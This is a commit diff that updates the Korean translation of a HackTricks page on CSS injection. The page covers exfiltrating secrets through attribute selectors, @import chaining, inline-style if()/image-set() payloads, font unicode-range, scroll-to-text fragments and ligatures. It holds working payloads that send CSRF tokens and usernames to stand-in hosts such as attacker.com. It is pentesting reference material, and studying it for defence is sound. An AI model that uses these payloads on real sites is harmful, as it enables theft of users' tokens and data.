mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']
This commit is contained in:
parent
f10beaca9b
commit
f33ee88cba
@ -4,9 +4,9 @@
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Attribute Selector
|
||||
### 속성 선택자
|
||||
|
||||
CSS 선택자는 `input` 요소의 `name` 및 `value` 속성의 값을 일치시키도록 작성됩니다. 입력 요소의 값 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:
|
||||
CSS 선택자는 `input` 요소의 `name` 및 `value` 속성 값과 일치하도록 작성됩니다. 만약 `input` 요소의 `value` 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,31 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
그러나 이 접근 방식은 숨겨진 입력 요소(`type="hidden"`)를 처리할 때 제한에 직면합니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.
|
||||
하지만 이 접근법은 숨겨진 input 요소(`type="hidden"`)를 다룰 때 한계가 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.
|
||||
|
||||
#### 숨겨진 요소 우회
|
||||
#### 숨겨진 요소 우회 방법
|
||||
|
||||
이 제한을 우회하기 위해, `~` 일반 형제 결합기를 사용하여 후속 형제 요소를 타겟팅할 수 있습니다. 그러면 CSS 규칙이 숨겨진 입력 요소 뒤에 있는 모든 형제에게 적용되어 배경 이미지가 로드됩니다:
|
||||
이 한계를 우회하려면 `~` 일반 형제 결합자 (general sibling combinator)를 사용해 이후의 형제 요소를 타깃할 수 있습니다. 그러면 해당 CSS 규칙이 숨겨진 input 요소 뒤에 오는 모든 형제에 적용되어 배경 이미지가 로드됩니다:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
이 기술을 활용한 실제 예시는 제공된 코드 스니펫에 자세히 설명되어 있습니다. [여기서](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 확인할 수 있습니다.
|
||||
이 기술을 악용한 실제 예시는 제공된 코드 스니펫에 자세히 나와 있습니다. 확인은 [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)에서 할 수 있습니다.
|
||||
|
||||
#### CSS 인젝션을 위한 전제 조건
|
||||
#### CSS Injection을 위한 전제 조건
|
||||
|
||||
CSS 인젝션 기술이 효과적이기 위해서는 특정 조건이 충족되어야 합니다:
|
||||
For the CSS Injection technique to be effective, certain conditions must be met:
|
||||
|
||||
1. **페이로드 길이**: CSS 인젝션 벡터는 제작된 선택자를 수용할 수 있도록 충분히 긴 페이로드를 지원해야 합니다.
|
||||
2. **CSS 재평가**: 새로 생성된 페이로드로 CSS의 재평가를 트리거하기 위해 페이지를 프레임할 수 있어야 합니다.
|
||||
3. **외부 리소스**: 이 기술은 외부 호스팅된 이미지를 사용할 수 있는 능력을 전제로 합니다. 이는 사이트의 콘텐츠 보안 정책(CSP)에 의해 제한될 수 있습니다.
|
||||
1. **Payload Length**: CSS injection 벡터는 조작된 selectors를 수용할 수 있을 만큼 충분히 긴 payload를 지원해야 합니다.
|
||||
2. **CSS Re-evaluation**: 페이지를 프레임화(frame)할 수 있는 능력이 있어야 하며, 이는 새로 생성된 payload로 CSS의 재평가를 트리거하는 데 필요합니다.
|
||||
3. **External Resources**: 이 기법은 외부에 호스팅된 이미지를 사용할 수 있다는 가정하에 동작합니다. 이는 사이트의 Content Security Policy (CSP)에 의해 제한될 수 있습니다.
|
||||
|
||||
### 블라인드 속성 선택자
|
||||
### Blind Attribute Selector
|
||||
|
||||
[**이 게시물에서 설명된 바와 같이**](https://portswigger.net/research/blind-css-exfiltration), **`:has`**와 **`:not`** 선택자를 결합하여 블라인드 요소에서조차 콘텐츠를 식별할 수 있습니다. 이는 CSS 인젝션을 로드하는 웹 페이지의 내용이 무엇인지 전혀 모를 때 매우 유용합니다.\
|
||||
또한 이러한 선택자를 사용하여 동일한 유형의 여러 블록에서 정보를 추출할 수도 있습니다:
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements.\
|
||||
이는 CSS injection을 로드하는 웹 페이지 내부에 무엇이 들어있는지 전혀 모를 때 매우 유용합니다.\
|
||||
또한 이러한 선택자들을 사용해 동일한 유형의 여러 블록에서 정보를 추출하는 것도 가능합니다. 예:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,59 +53,95 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
이것을 다음 **@import** 기술과 결합하면, **[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**를 사용하여 **블라인드 페이지에서 많은 정보를 유출할 수 있습니다.**
|
||||
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
이전 기술에는 몇 가지 단점이 있으므로, 전제 조건을 확인해야 합니다. **희생자에게 여러 링크를 전송할 수 있어야 하거나**, **CSS 주입 취약 페이지를 iframe으로 삽입할 수 있어야 합니다.**
|
||||
앞선 기법에는 몇 가지 단점이 있으니 사전 조건을 확인하세요. 공격 대상에게 여러 개의 링크를 보낼 수 있어야 하거나, CSS injection 취약 페이지를 iframe할 수 있어야 합니다.
|
||||
|
||||
그러나 **CSS `@import`**를 사용하여 기술의 품질을 향상시키는 또 다른 영리한 기술이 있습니다.
|
||||
하지만 **CSS `@import`**를 사용하는 또 다른 영리한 기법이 있어 기법의 효율을 향상시킬 수 있습니다.
|
||||
|
||||
이 기술은 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)에 의해 처음 소개되었으며, 다음과 같이 작동합니다:
|
||||
이 방법은 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)가 처음에 공개했으며 동작 방식은 다음과 같습니다:
|
||||
|
||||
같은 페이지를 매번 수십 개의 다른 페이로드로 반복해서 로드하는 대신(이전 기술처럼), **페이지를 한 번만 로드하고 공격자의 서버로의 임포트만 사용합니다**(이것이 희생자에게 전송할 페이로드입니다):
|
||||
이전처럼 같은 페이지를 매번 수십 개의 서로 다른 payload로 반복 로드하는 대신, 페이지를 한 번만 로드하고 공격자 서버로의 import만 포함시킵니다(이것이 공격 대상에게 보낼 payload입니다):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. 가져오는 것은 **공격자로부터 CSS 스크립트를 수신할 것이고** **브라우저는 이를 로드할 것입니다**.
|
||||
2. 공격자가 보낼 CSS 스크립트의 첫 번째 부분은 **다시 공격자의 서버에 대한 또 다른 `@import`입니다.**
|
||||
1. 공격자의 서버는 이 요청에 응답하지 않을 것이며, 일부 문자를 유출한 다음 이 가져오기에 페이로드를 응답하여 다음 문자를 유출할 것입니다.
|
||||
3. 페이로드의 두 번째이자 더 큰 부분은 **속성 선택자 유출 페이로드**가 될 것입니다.
|
||||
1. 이는 공격자의 서버에 **비밀의 첫 번째 문자와 마지막 문자를** 보낼 것입니다.
|
||||
4. 공격자의 서버가 **비밀의 첫 번째 문자와 마지막 문자를** 수신하면, **2단계에서 요청된 가져오기에 응답할 것입니다**.
|
||||
1. 응답은 **2, 3 및 4단계**와 정확히 동일할 것이지만, 이번에는 **비밀의 두 번째 문자와 그 다음 마지막 문자를 찾으려고 할 것입니다**.
|
||||
1. import는 공격자로부터 **일부 CSS script를 받**고 **브라우저가 이를 로드**합니다.
|
||||
2. 공격자가 보낼 CSS script의 첫 부분은 **다시 공격자 서버로의 또 다른 `@import`**입니다.
|
||||
1. 공격자 서버는 이 요청에 아직 응답하지 않습니다. 먼저 일부 문자를 leak한 뒤, 다음 문자들을 leak하기 위한 payload로 이 import에 응답하려고 하기 때문입니다.
|
||||
3. 페이로드의 두 번째이자 더 큰 부분은 **attribute selector leakage payload**가 될 것입니다.
|
||||
1. 이것은 공격자 서버로 비밀의 **첫 문자와 마지막 문자**를 전송합니다.
|
||||
4. 공격자 서버가 비밀의 **첫 문자와 마지막 문자**를 수신하면, **2단계에서 요청된 import에 응답**합니다.
|
||||
1. 응답은 **2, 3, 4단계와 정확히 동일**하지만 이번에는 비밀의 **두 번째 문자와 끝에서 두 번째 문자**를 찾으려고 시도합니다.
|
||||
|
||||
공격자는 **비밀을 완전히 유출할 때까지 그 루프를 따를 것입니다**.
|
||||
공격자는 이 루프를 f**ollow 하여 비밀을 완전히 leak**할 때까지 반복합니다.
|
||||
|
||||
원본 [**Pepe Vila의 이 코드를 여기서 찾아보세요**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) 또는 거의 [**같은 코드지만 주석이 달린 것을 여기서 찾을 수 있습니다**.](#css-injection)
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!NOTE]
|
||||
> 스크립트는 매번 2개의 문자를 발견하려고 시도합니다 (시작 부분과 끝 부분) 왜냐하면 속성 선택자가 다음과 같은 작업을 가능하게 하기 때문입니다:
|
||||
> [!TIP]
|
||||
> 스크립트는 매번 앞에서부터와 뒤에서부터 두 글자씩(총 2 chars) 발견하려고 시도합니다. 이는 attribute selector가 다음과 같은 동작을 허용하기 때문입니다:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= 값의 시작 부분과 일치 */
|
||||
> /* value^= to match the beggining of the value*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= 값의 끝 부분과 일치 */
|
||||
> /* value$= to match the ending of the value*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> 이는 스크립트가 비밀을 더 빠르게 유출할 수 있게 합니다.
|
||||
> 이 방식은 스크립트가 secret을 더 빠르게 leak할 수 있게 합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 때때로 스크립트는 **접두사 + 접미사로 발견된 것이 이미 전체 플래그임을 올바르게 감지하지 못하고** 계속 진행합니다 (접두사에서) 및 뒤로 (접미사에서) 진행하며 어느 시점에서 멈출 수 있습니다.\
|
||||
> 걱정하지 마세요, **출력**을 확인하면 **거기에서 플래그를 볼 수 있습니다**.
|
||||
> 때때로 스크립트는 접두사(prefix) + 접미사(suffix)로 발견된 값이 이미 전체 flag임을 **올바르게 감지하지 못**하고, 앞쪽(prefix)은 계속 앞으로 진행하고 뒤쪽(suffix)은 계속 뒤로 진행하다가 어느 순간 멈출 수 있습니다.\
|
||||
> 걱정할 필요 없습니다. **output**을 확인하면 **flag를 볼 수 있습니다**.
|
||||
|
||||
### 다른 선택자
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
**CSS 선택자**로 DOM 부분에 접근하는 다른 방법:
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: 이는 DOM에서 "class-to-search" 클래스를 가진 두 번째 항목을 검색합니다.
|
||||
- **`:empty`** 선택자: 예를 들어 [**이 글**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**에서 사용됩니다:**
|
||||
> [!WARNING]
|
||||
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
|
||||
|
||||
- Sink: 요소의 style 속성을 제어하고 대상 attribute가 동일 요소에 있어야 합니다 (attr()은 동일 요소의 attribute만 읽습니다).
|
||||
- Read: attribute를 CSS 변수에 복사합니다: `--val: attr(title)`.
|
||||
- Decide: 변수를 문자열 후보들과 비교하는 중첩된 조건문으로 URL을 선택합니다: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: `background: image-set(var(--steal))` (또는 네트워크 요청을 트리거하는 다른 fetching 속성)을 적용하여 선택된 엔드포인트로 요청을 강제합니다.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
작동하는 payload(비교에서 큰따옴표 필요):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
중첩된 조건문을 사용한 속성 값 열거:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
현실적인 데모 (probing usernames):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
노트 및 제한사항:
|
||||
|
||||
- 연구 시점에는 Chromium 기반 브라우저에서 동작합니다; 다른 엔진에서는 동작이 다를 수 있습니다.
|
||||
- IDs, flags, 짧은 사용자명 같은 유한/열거 가능한 값 공간에 가장 적합합니다. 외부 스타일시트 없이 임의의 긴 문자열을 훔치는 것은 여전히 어렵습니다.
|
||||
- URL을 가져오는 모든 CSS 속성(예: background/image-set, border-image, list-style, cursor, content)은 요청을 트리거하는 데 사용할 수 있습니다.
|
||||
|
||||
자동화: a Burp Custom Action은 중첩된 inline-style 페이로드를 생성해 속성 값을 브루트포스할 수 있습니다: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### 기타 선택자
|
||||
|
||||
DOM의 일부에 접근하는 다른 방법들 (**CSS selectors**로):
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: DOM에서 클래스 "class-to-search"를 가진 두 번째 항목을 검색합니다.
|
||||
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +149,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### 오류 기반 XS-Search
|
||||
### Error 기반 XS-Search
|
||||
|
||||
**참조:** [CSS 기반 공격: @font-face의 unicode-range 악용](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [@terjanq의 오류 기반 XS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
참고: [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
전반적인 의도는 **제어된 엔드포인트에서 사용자 정의 글꼴을 사용하고** **지정된 리소스(`favicon.ico`)를 로드할 수 없는 경우에만 이 글꼴로 텍스트('A')가 표시되도록 하는 것입니다**.
|
||||
전체 목적은 **제어된 엔드포인트에서 커스텀 폰트를 사용**하고, **지정된 리소스(`favicon.ico`)를 로드할 수 없을 때만 해당 폰트로 텍스트(이 경우, 'A')가 표시되도록 하는 것**입니다.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -140,47 +177,47 @@ font-family: "poc";
|
||||
```
|
||||
1. **커스텀 폰트 사용**:
|
||||
|
||||
- 커스텀 폰트는 `<head>` 섹션의 `<style>` 태그 내에서 `@font-face` 규칙을 사용하여 정의됩니다.
|
||||
- 폰트 이름은 `poc`이며 외부 엔드포인트(`http://attacker.com/?leak`)에서 가져옵니다.
|
||||
- `unicode-range` 속성은 특정 유니코드 문자 'A'를 타겟으로 하여 `U+0041`로 설정됩니다.
|
||||
- 커스텀 폰트는 `<head>` 섹션의 `<style>` 태그 안에서 `@font-face` 규칙을 사용해 정의됩니다.
|
||||
- 폰트 이름은 `poc`이며 외부 엔드포인트(`http://attacker.com/?leak`)에서 로드됩니다.
|
||||
- `unicode-range` 속성은 `U+0041`로 설정되어 특정 유니코드 문자 'A'를 대상으로 합니다.
|
||||
|
||||
2. **대체 텍스트가 있는 Object 요소**:
|
||||
- `<body>` 섹션에 `id="poc0"`인 `<object>` 요소가 생성됩니다. 이 요소는 `http://192.168.0.1/favicon.ico`에서 리소스를 로드하려고 시도합니다.
|
||||
- 이 요소의 `font-family`는 `<style>` 섹션에서 정의된 `'poc'`로 설정됩니다.
|
||||
- 리소스(`favicon.ico`) 로드에 실패할 경우, `<object>` 태그 내의 대체 콘텐츠(문자 'A')가 표시됩니다.
|
||||
- 외부 리소스를 로드할 수 없는 경우 대체 콘텐츠('A')는 커스텀 폰트 `poc`를 사용하여 렌더링됩니다.
|
||||
2. **Object 요소 및 폴백 텍스트**:
|
||||
- `<body>` 섹션에 `id="poc0"`를 가진 `<object>` 요소가 생성됩니다. 이 요소는 `http://192.168.0.1/favicon.ico`에서 리소스를 로드하려 시도합니다.
|
||||
- 이 요소의 `font-family`는 `<style>` 섹션에 정의된 대로 `'poc'`로 설정됩니다.
|
||||
- 리소스(`favicon.ico`) 로드에 실패하면 `<object>` 태그 내부의 폴백 콘텐츠(문자 'A')가 표시됩니다.
|
||||
- 외부 리소스를 로드할 수 없을 때 폴백 콘텐츠('A')는 커스텀 폰트 `poc`로 렌더링됩니다.
|
||||
|
||||
### 스크롤-투-텍스트 프래그먼트 스타일링
|
||||
### Scroll-to-Text Fragment 스타일링
|
||||
|
||||
**`:target`** 의사 클래스는 **URL 프래그먼트**에 의해 타겟팅된 요소를 선택하는 데 사용됩니다. 이는 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)에서 명시되어 있습니다. `::target-text`는 텍스트가 프래그먼트에 의해 명시적으로 타겟팅되지 않는 한 어떤 요소와도 일치하지 않는다는 점을 이해하는 것이 중요합니다.
|
||||
The **`:target`** pseudo-class는 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)에 명시된 대로 **URL fragment**에 의해 대상이 된 요소를 선택하는 데 사용됩니다. `::target-text`는 조각(fragment)에서 텍스트가 명시적으로 타겟팅되지 않는 한 어떤 요소와도 매치되지 않는다는 점을 이해하는 것이 중요합니다.
|
||||
|
||||
공격자가 **스크롤-투-텍스트** 프래그먼트 기능을 악용할 때 보안 문제가 발생하며, 이를 통해 HTML 주입을 통해 자신의 서버에서 리소스를 로드하여 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
|
||||
공격자가 **Scroll-to-text** fragment 기능을 악용하면 보안 문제가 발생합니다. 이로 인해 공격자는 HTML injection을 통해 자신의 서버에서 리소스를 로드해 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
이러한 시나리오에서 "Administrator"라는 텍스트가 페이지에 존재하면, 리소스 `target.png`가 서버에서 요청되어 텍스트의 존재를 나타냅니다. 이 공격의 한 예는 주입된 CSS와 함께 Scroll-to-text 조각을 포함하는 특별히 제작된 URL을 통해 실행될 수 있습니다:
|
||||
이러한 시나리오에서는 페이지에 "Administrator" 텍스트가 존재하면 리소스 `target.png`가 서버에 요청되어 해당 텍스트의 존재를 나타냅니다. 이 공격의 한 사례는 주입된 CSS를 Scroll-to-text fragment와 함께 포함한 특수하게 조작된 URL을 통해 실행할 수 있습니다:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
여기서 공격은 HTML 주입을 조작하여 CSS 코드를 전송하며, "Administrator"라는 특정 텍스트를 목표로 합니다. Scroll-to-text fragment (`#:~:text=Administrator`)를 통해 텍스트가 발견되면, 지정된 리소스가 로드되어 공격자에게 그 존재를 무심코 알리게 됩니다.
|
||||
여기서 공격자는 HTML injection을 조작하여 CSS 코드를 전송하고, Scroll-to-text fragment (`#:~:text=Administrator`)를 통해 특정 텍스트 "Administrator"을 겨냥합니다. 해당 텍스트가 발견되면 지정된 리소스가 로드되어 그 존재를 공격자에게 의도치 않게 알립니다.
|
||||
|
||||
완화를 위해 다음 사항을 유의해야 합니다:
|
||||
완화 조치로 다음 사항을 유의해야 합니다:
|
||||
|
||||
1. **제한된 STTF 매칭**: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어, 임의의 비밀이나 토큰이 유출될 수 있는 능력을 제한합니다.
|
||||
2. **최상위 브라우징 컨텍스트로 제한**: STTF는 오직 최상위 브라우징 컨텍스트에서만 작동하며, iframe 내에서는 작동하지 않아, 어떤 악용 시도가 사용자에게 더 눈에 띄게 됩니다.
|
||||
3. **사용자 활성화 필요**: STTF는 작동하기 위해 사용자 활성화 제스처가 필요하므로, 악용은 사용자 주도 탐색을 통해서만 가능하다는 의미입니다. 이 요구 사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건과 우회 방법(예: 사회 공학, 널리 사용되는 브라우저 확장과의 상호작용)을 지적합니다.
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어 임의의 비밀이나 토큰을 leak하는 능력을 제한합니다.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF는 최상위 브라우징 컨텍스트에서만 작동하며 iframes 내에서는 동작하지 않으므로, 악용 시도가 사용자에게 더 눈에 띄게 됩니다.
|
||||
3. **Necessity of User Activation**: STTF는 동작하기 위해 user-activation 제스처가 필요하므로 악용은 사용자에 의해 시작된 네비게이션을 통해서만 현실적으로 가능합니다. 이 요구사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건 및 우회(예: social engineering, interaction with prevalent browser extensions)를 지적합니다.
|
||||
|
||||
이러한 메커니즘과 잠재적 취약성에 대한 인식은 웹 보안을 유지하고 이러한 착취 전술로부터 보호하는 데 핵심적입니다.
|
||||
이러한 메커니즘과 잠재적 취약점을 인지하는 것이 웹 보안을 유지하고 이러한 악용 전술로부터 보호하는 데 핵심입니다.
|
||||
|
||||
자세한 정보는 원본 보고서를 확인하세요: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
자세한 내용은 원문 보고서를 확인하세요: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
이 기술을 사용한 [**CTF용 익스플로잇을 여기서 확인할 수 있습니다**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
다음 링크에서 [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)를 확인할 수 있습니다.
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
특정 유니코드 값에 대해 **외부 글꼴을 지정할 수 있으며**, 해당 유니코드 값이 페이지에 존재할 경우에만 **수집됩니다**. 예를 들어:
|
||||
특정 유니코드 값에 대해 **외부 폰트를 지정할 수 있으며**, 해당 유니코드 값이 페이지에 존재할 때에만 **수집됩니다**. 예를 들어:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -210,21 +247,21 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
**참고:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
이 기술은 글꼴 리가처를 이용하여 노드에서 텍스트를 추출하고 너비 변화를 모니터링하는 것을 포함합니다. 이 과정은 여러 단계로 이루어집니다:
|
||||
The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:
|
||||
|
||||
1. **커스텀 폰트 생성**:
|
||||
|
||||
- SVG 폰트는 두 문자 시퀀스를 나타내는 글리프에 대해 큰 너비를 설정하는 `horiz-adv-x` 속성을 가진 글리프를 사용하여 제작됩니다.
|
||||
- 예시 SVG 글리프: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, 여기서 "XY"는 두 문자 시퀀스를 나타냅니다.
|
||||
- 이러한 폰트는 fontforge를 사용하여 woff 형식으로 변환됩니다.
|
||||
- SVG 폰트는 glyph에 `horiz-adv-x` 속성을 지정하여 두 문자 시퀀스를 나타내는 glyph의 너비를 크게 설정하도록 제작된다.
|
||||
- 예시 SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, 여기서 "XY"는 두 문자 시퀀스를 의미한다.
|
||||
- 그런 다음 이 폰트들은 fontforge를 사용해 woff 포맷으로 변환된다.
|
||||
|
||||
2. **너비 변화 감지**:
|
||||
|
||||
- CSS를 사용하여 텍스트가 줄 바꿈되지 않도록 하고(`white-space: nowrap`), 스크롤바 스타일을 사용자 정의합니다.
|
||||
- 특정 리가처, 즉 특정 문자 시퀀스가 텍스트에 존재함을 나타내는 지표(오라클)로서 독특하게 스타일링된 수평 스크롤바의 출현이 작용합니다.
|
||||
- 관련된 CSS:
|
||||
- 텍스트가 줄 바꿈되지 않도록(`white-space: nowrap`) 하고 스크롤바 스타일을 사용자화하기 위해 CSS를 사용한다.
|
||||
- 특이하게 스타일된 수평 스크롤바의 등장으로 특정 ligature, 즉 특정 문자 시퀀스가 텍스트에 존재함을 표시하는 지표(oracle)로 작동한다.
|
||||
- 관련 CSS:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -237,30 +274,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **익스플로잇 과정**:
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **1단계**: 상당한 너비를 가진 문자 쌍에 대한 폰트를 생성합니다.
|
||||
- **2단계**: 큰 너비 글리프(문자 쌍에 대한 리가처)가 렌더링될 때를 감지하기 위해 스크롤바 기반의 트릭을 사용합니다.
|
||||
- **3단계**: 리가처를 감지하면, 감지된 쌍을 포함하고 앞이나 뒤에 문자를 추가하여 세 문자 시퀀스를 나타내는 새로운 글리프가 생성됩니다.
|
||||
- **4단계**: 세 문자 리가처의 감지가 수행됩니다.
|
||||
- **5단계**: 이 과정이 반복되어 전체 텍스트가 점진적으로 드러납니다.
|
||||
- **Step 1**: 너비가 큰 두 문자 쌍에 대해 폰트를 생성한다.
|
||||
- **Step 2**: 스크롤바 기반 기법을 이용해 대형 glyph(문자 쌍에 대한 ligature)가 렌더링될 때 이를 감지하여 해당 문자 시퀀스의 존재를 식별한다.
|
||||
- **Step 3**: ligature를 감지하면, 감지된 쌍에 앞뒤 문자 하나를 추가해 세 문자 시퀀스를 나타내는 새 glyph들을 생성한다.
|
||||
- **Step 4**: 세 문자 ligature의 감지를 수행한다.
|
||||
- **Step 5**: 이 과정을 반복해 텍스트 전체를 점진적으로 드러낸다.
|
||||
|
||||
4. **최적화**:
|
||||
- 현재 `<meta refresh=...`를 사용하는 초기화 방법은 최적이 아닙니다.
|
||||
- CSS `@import` 트릭을 사용하는 더 효율적인 접근 방식이 익스플로잇의 성능을 향상시킬 수 있습니다.
|
||||
- 현재 `<meta refresh=...`를 사용한 초기화 방법은 최적이 아니다.
|
||||
- 더 효율적인 방법으로는 CSS `@import` 트릭을 사용해 exploit의 성능을 향상시키는 것이 있다.
|
||||
|
||||
